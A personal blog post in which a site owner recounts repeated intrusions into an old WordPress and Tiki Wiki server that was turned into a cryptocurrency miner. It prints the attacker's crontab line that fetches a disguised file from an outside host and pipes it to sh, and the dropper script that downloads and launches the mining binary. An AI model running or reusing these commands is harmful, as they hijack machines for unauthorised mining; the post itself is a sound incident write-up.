Attack of the annoying script kiddies

Old technologies made the existing site vulnerable to exploits. It helped to motivate me to move to the new site.

I Do Imaging was born in a simpler time, the early aughts. Web frameworks were in the future, and “internet security” was for most sites, a contradictory term. So the site was developed in Perl CGI scripts, pretty old-fashioned even then, but it worked, and everything from page layout to authentication to pagination was re-invented and hand-written for the site. So it stayed for a long time while I concentrated on content, testing programs, the wiki, demo data, demo servers, talks and conferences, not to mention work.

These days, of course, most sites are protected by TLS, sanitised parameters, cross-site scripting protection, token authentication. And there are plenty of scripts out there (I assume) that you can just run if you want to target sites that don’t have those protections (such as databases of open-source medical imaging software). And that’s what happened to I Do Imaging.

Two years ago the site suddenly became very slow. On logging in, I found 100% CPU devoted to a task called cpuloadtest. Killing this task was futile; shortly thereafter it would restart itself. Time to investigate. A find for a file called cpuloadtest located one in /tmp, along with a file named test of the same timestamp, both of them Linux binaries.

Where’d they come from? There was nothing in lastlog, so it probably wasn’t SSH. Though of course the last log can be altered, this seemed like a lot of work to go to, also as the site is hosted on AWS, it responded to SSH calls only from my own IP numbers. Examination of the HTTP server log, though, showed a POST call at that same to xmlrpc.php in my Wordpress installation which I was using for blogging. That’s how the exploit program got on to the server. Turns out this is a pretty well-known exploit (which I probably should have known about and prevented) and the file in particular is not essential to Wordpress’s operation, so I moved it.

The matter of the re-populating program, though, was still there. crontab -l showed nothing…or did it? The formatting was off, there was an extra line feed in the output. crontab -e showed the culprit

*/60 * * * *  curl https://ooo.0o0.ooo/2015/07/21/5887a6d11262.jpg -k|dd skip=3458 bs=1|sh

Every minute it was fetching this file from some scurrilous-looking site and executing it. What’s in the file?

$ strings 5887a6d11262.jpg
# ... some binary stuff
#!/bin/sh
ps -fe|grep 49hNrEaSKaeTbzPQu4  |grep -v grep
if [ $? -ne 0 ]
then
curl -o /tmp/test https://ooo.0o0.ooo/2017/01/21/58837466f1237.jpg
dd if=/tmp/test skip=3458 bs=1 of=/tmp/cpuloadtest
chmod +x /tmp/cpuloadtest
nohup /tmp/cpuloadtest -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 49hN...PQu4 -p x &

Look for the running program, if it’s not running, fetch a new copy. Convert the download into /tmp/cpuloadtest then run it. And finally we find out the intent of this criminal mastermind…it’s a Bitcoin generator called cryptonight and it feeds its massive earnings to an account at crypto-pool which no doubt is some kind of “dark bank”. Whatevs.

This is all quite quick to describe in hindsight, but took some tracking down when first addressed. I cleaned out the offending files, upgraded Wordpress checked that nothing seemed to have been done to the passwords, iptables, or system files, and made some notes in my wiki just in case.

A year passed, and then it happened again. This time, same exploit, but this time it seemed to have come in from a similar exploit on Tiki Wiki, my wiki software. I dug out my notes and ran through the process again. It was a little different this time, the executables were called mstrie, mstxcn and the highlight, ./mstbcn -a cryptonight -o bcn -u bond007.01 which confirmed my beliefs that the evil mastermind is a pudgy 40 year old living in his parents’ basement.

As time went on the intrusions got more frequent but laziness, and the fact that I had the new site on the way, prevented me from putting the time in to locking down the old site. Finally it got to the point this year where it was happening almost daily, so I said enough, and switched over to the new site, though it’s still a bit rough.

Just for interests’ sake, I calculated how much lucre is generated on my bog-standard AWS M3 Medium EC2 instance with 3.75 GB RAM, two cores, and no GPU whatsoever. Plenty of power for my website but not the world’s most powerful Bitcoin miner. It’s hard to get an estimate for hashes per second for computer hardware, since all Bitcoin mining moved to custom chips 5-10 years ago, but a guess of 1-10 MHash/sec sounds plausible. I’ll compare it against the first result for ‘bitcoin miner’ I found: $379, 3.5 TH/s, 1 kW power consumption, about a million times faster than the computer. That thing had better make some money, turning 10c of power per hour into another kilo of carbon in the atmosphere. Yay bitcoin.

In a bitcoin calculator, I had to multiply the power of my EC2 instance by 1,000 in order to get some numerical precision, above 1c/month output. Currently 10 GH/s would nett you 18c/month. So my 1 MH/s computer was netting my illegal visitor 0.18 / (10,000 * 30) per day, or roughly 10^-6 dollars, or 0.0001 cent for each day the thing ran. I don’t know the lowest precision of Bitcoin but perhaps they accept a millicent per week. Meanwhile, of course, the EC2 instance costs 2.3c/hr or about 50c/day.

So my intruder netted one or two thousandths of a cent, which I hope he invests wisely. Perhaps he could spend it learning to program so he can get a job like me.

What I learned:

• Slight refresher in system files, though I do this stuff daily.
• Dunno/don’t care how it got in, but once it’s in, the scripts aren’t particularly clever.
• Don’t run Wordpress. It’s a pig. Hence Jekyll.

[Edit: Found out actually the currency in question is Monero, as BC mining is done to death. Claims to be more profitable than BC, but if it was, then everyone would be mining Monero. So I’ll stick with the BC numbers.]